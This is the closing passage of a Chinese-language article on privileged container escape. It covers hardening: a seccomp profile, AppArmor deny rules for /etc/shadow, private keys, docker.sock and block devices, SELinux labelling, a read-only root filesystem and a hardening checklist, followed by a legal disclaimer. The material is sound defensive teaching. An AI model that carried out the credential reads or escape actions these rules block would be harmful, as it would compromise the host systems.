        "brk", "rt_sigaction", "rt_sigprocmask", "ioctl", "exit",
        "exit_group", "clone", "execve", "wait4", "socket",
        "connect", "sendto", "recvfrom", "bind", "listen", "accept"
      ],
      "action": "SCMP_ACT_ALLOW"
    },
    {
      "names": [
        "mount", "umount2", "pivot_root",
        "init_module", "finit_module", "delete_module",
        "ptrace", "setns", "unshare", "keyctl",
        "kexec_load", "bpf", "perf_event_open"
      ],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
# 应用自定义 seccomp profile
docker run --security-opt seccomp=/path/to/custom-seccomp.json ...

即使保留 CAP_SYS_ADMIN,seccomp 阻断 mount 后,块设备挂载逃逸也会失败。这是纵深防御的关键一层。

AppArmor / SELinux 策略

# AppArmor:限制容器文件访问
cat > /etc/apparmor.d/container-hardened << 'EOF'
#include <tunables/global>
profile container-hardened flags=(attach_disconnected,mediate_deleted) {
  #include <abstractions/base>
  # 允许容器内正常文件操作
  /bin/** ix,
  /usr/** ix,
  /lib/** r,
  /etc/ld.so.cache r,
  # 禁止访问宿主机敏感路径
  deny /etc/shadow r,
  deny /etc/ssl/private/** r,
  deny /root/** rwklx,
  deny /var/run/docker.sock rw,
  deny /dev/sd* rwklx,
  deny /dev/nvme* rwklx,
  # 禁止 capability 提权
  deny capability sys_module,
  deny capability sys_admin,
  deny capability sys_ptrace,
}
EOF

# 应用
docker run --security-opt apparmor=container-hardened ...
# SELinux:在 RHEL/CentOS 上启用 MCS 标签隔离
# 确认 SELinux 为 Enforcing
getenforce
# Enforcing

# Docker 默认为每个容器分配独立的 MCS 标签
# 容器进程 type 为 container_t,只能访问 container_file_t 标签的文件
# 宿主机文件(如 /etc/shadow 为 shadow_t)自动不可访问
docker run --security-opt label=type:container_t ...

只读根文件系统

# 只读根文件系统防止攻击者写入恶意文件(如内核模块、后门)
docker run --read-only \
  --tmpfs /tmp \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  app:v1

# K8s 等价配置
# spec.containers[].securityContext.readOnlyRootFilesystem: true

只读根文件系统可有效阻断 cgroup release_agent 逃逸中写入 /cmd 脚本的步骤,以及持久化后门的写入。攻击者无法在容器内写入任何文件,逃逸难度显著提升。

综合加固清单

# 生产级安全容器启动模板(综合所有加固措施)
docker run -dit \
  --name secure-app \
  --cap-drop ALL \
  --cap-add NET_BIND_SERVICE \
  --security-opt no-new-privileges \
  --security-opt seccomp=/etc/docker/seccomp-strict.json \
  --security-opt apparmor=container-hardened \
  --read-only \
  --tmpfs /tmp \
  --user 10001:10001 \
  --cgroup-parent /secure-slice \
  --memory=512m --pids-limit=100 \
  --network=internal \
  app:v1
加固措施 阻断的逃逸路径 性能影响 推荐级别
禁用 --privileged 全部 无 必须
--cap-drop ALL mount、insmod、ptrace 无 必须
自定义 seccomp mount、init_module、bpf 极低 强烈推荐
AppArmor/SELinux 文件访问、capability 低 强烈推荐
只读根文件系统 持久化写入 低 推荐
user namespace remap 逃逸后权限降级 中 推荐
no-new-privileges setuid 提权 无 必须

免责声明

本文档仅供网络安全技术研究与教育目的使用,严禁用于任何未经授权的系统访问或攻击活动。文中所有技术细节、PoC 代码和攻击方法均基于已公开的安全研究与 CVE 披露,旨在帮助安全从业者理解特权容器逃逸的完整攻击路径,从而构建有效的检测与防御体系。

读者必须在完全由自己拥有或获得明确书面授权的隔离测试环境中复现本文所述技术。未经授权对任何生产系统、他人系统或云上资源进行渗透测试、容器逃逸尝试或权限提升操作,均属于违反《中华人民共和国网络安全法》《数据安全法》《个人信息保护法》及相关法律法规的违法行为,可能面临刑事与民事责任。

本文作者不对任何人因阅读、引用或使用本文内容而产生的任何直接或间接后果承担责任。读者应自行承担因不当使用本文信息而产生的一切法律责任。若您对本文所述技术的合法性存疑,请在使用前咨询专业法律意见。

"知攻以知防"——本文的最终目标是帮助容器安全工程师和安全研究者理解攻击者的思维与技术路径,进而在架构设计、配置管理、运行时检测与应急响应等环节构建纵深防御体系,提升云原生基础设施的整体安全水位。


参考来源:本文技术细节参考 Docker 官方安全文档、Kubernetes Pod Security Standards、CVE-2022-0492(cgroup release_agent)公开分析、Falco 官方规则库及 CNCF 安全最佳实践指南。所有 PoC 均为基于公开技术的复现演示,不包含任何未公开漏洞利用。